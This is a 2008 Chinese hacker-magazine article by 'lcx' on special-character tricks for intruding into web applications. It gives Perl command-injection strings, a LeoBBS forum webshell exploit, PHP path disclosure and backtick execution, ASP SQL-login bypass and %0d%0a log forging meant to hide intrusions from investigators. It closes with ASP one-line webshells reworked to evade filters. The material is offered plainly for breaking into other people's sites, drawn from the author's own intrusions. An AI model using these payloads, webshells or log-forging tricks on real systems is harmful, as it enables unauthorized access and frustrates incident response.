《黑客手册200802》
我在入侵过程中注意到的细节(二)
lcx
上期我写的基本都是在入侵内网过程中要注意到的细节,不过现在流行的毕竟是注入了。现在常规注入针对的也就是asp、php、jsp、cfm、cgi等的动态脚本。针对各种脚本的话,如果注意一些细节,像构造特殊字符,也会起到很奇妙的作用。像最早的%5c暴库、%00截断都是轰动一时的漏洞。这些漏洞被发现,无非是发现都对脚本语言的一些细节的重视。那么这一期我就来讲一下我会在注入过程中注意到的一些细节,主要是讲一些特殊符号了。
先来说一下perl吧。我对这门语言也不熟,毕竟市面上现在用它做server scripting少了。针对perl入侵大家最最常用的普遍手法估计也就是两个,一个是想方设法向cgi文件里写入webshell,另一个就是利用原来的perl程序来执行命令。第一个方法,一般会写入“;system @ARGV;#”这样符号,如果写在1.pl的话,可以执行1.pl?dir=c:\这样去执行命令。另一个如果原来网页url是http://www.xxx.com/1.pl?id=abc的话,我们会尝试执行http://www.xxx.com/1.pl?id=abc|uname这样的参数看一下能否来执行uname命令。其实|算是linux命令里的分隔符了,不算是perl的。不过perl里还有一个分隔符是 ,这个较少有人注意到。以前有一个很有名的雷傲论坛,好像在最新版里还有一个可以上传webshell的漏洞,如果没有在后台限制特殊符号注册用户帐号的话。好久好久前我入侵过一个雷傲论坛,当时入侵的截图还在,如图1所示。
图1
我们注册一个q lcx的帐户,然后再发一个内容为“ and rename(qq(你上传的附件的物理路径),qq(改名为你要的webshell的物理路径))”,示例就如图1那样的方法。然后再浏览贴子,你就可以得到一个webshell了。在这里 为分隔符,q在这里是单引号的意思,qq当然是双引号了,这样一来q lcx…… 之间乱七八糟的内容就算是perl里有意义的东东了,这样不会影响到后边的rename函数的执行。
那么再来说一下php吧。php我最常用的就是暴路径了。如果一个url是http://www.sohu.com/x.php?id=1,那我们改成http://www.sohu.com/x.php?id[]=1这样的话来提交,如果错误没有屏蔽的话,成功率应当高达60%吧,和早期的%5c差不多。这里是因为id后边跟的一般是一个数值,如果我们改成[]的话,会让程序本身误以为跟了一个数组,所以程序就支出错,这和把id=1改成id=a或id=1'类似的意思,但是往往有的程序过虑的不严格,像只判断了是否是字符和有单引号而遗漏了数组,从而让我们得逞。php另一个鸡肋式的符号是 `,这个东东也是执行符,像我们写成<?$result=`$ls -a`;echo $result;?>,也会执行。不过只要服务器安全模式打开,或服务器权限设置的严格的话,不会让我们得逞,不过我们能够入侵成功的凭借的运气不也就是依靠的网管的懒惰吗?
最后再来讲一下大家能耳熟能详的asp了。asp大家最了解的是%5c暴库和'or''='这个万能密码了。其实我以前用过%0d%0a,这个其实不算是asp里的东东,可以算是http服务器里的,多数http服务器在收到包含%0d%0a的请求时会解析为回车并在日志中换行。asp+mssql我们可以用到它来做分隔符,使其多条sql语句执行。至于具体应用,网上有篇<<讯CMS4.0sp5 商业版的致命伤>>文章,大家可以百度一下看看。至于在http服务器中应用可以通过发送%0d%0a或%u0d0a在日志中产生换行,从而可以伪造日志,使
入侵行为淹没在大量虚假日志中,难于找到真正的入侵者,给入侵分析带来困难。 asp再有一个就是%号了,很多人以前都碰到过上传或写入webshell的时候碰到过滤了%号的情况,于是纷纷采用了冰狐浪子的cs木马,因为里边没有百分号。其实asp还有一个写法,是●<script language=vbs runat=server> ……代码……</script>●这样的,于是我们可以把我们平常的一句话代码eval(request("#"))加在里边,这样就不用百分号了。
我对asp熟悉一点,再多说一点,<script language=vbs runat=server>eval(request("#"))</script>再怎样变形呢?我们可以写成●<script language=vbs runat=server>eval(request(chr(35)))</script>●失之消去单引号。如果不加密的话,我们还可以怎样改?我改一个给大家看一下,可以改成●<script language=vbs runat=server>eval(((((request(chr(35)))))))</script>●,我多加了四个匹配的括号,照样可以运行的。还可以加更多吗?当然……这里的多加括号方法可以运用在php一句话木马里吗?亲爱的读者,剩下的工作就交给你去做了。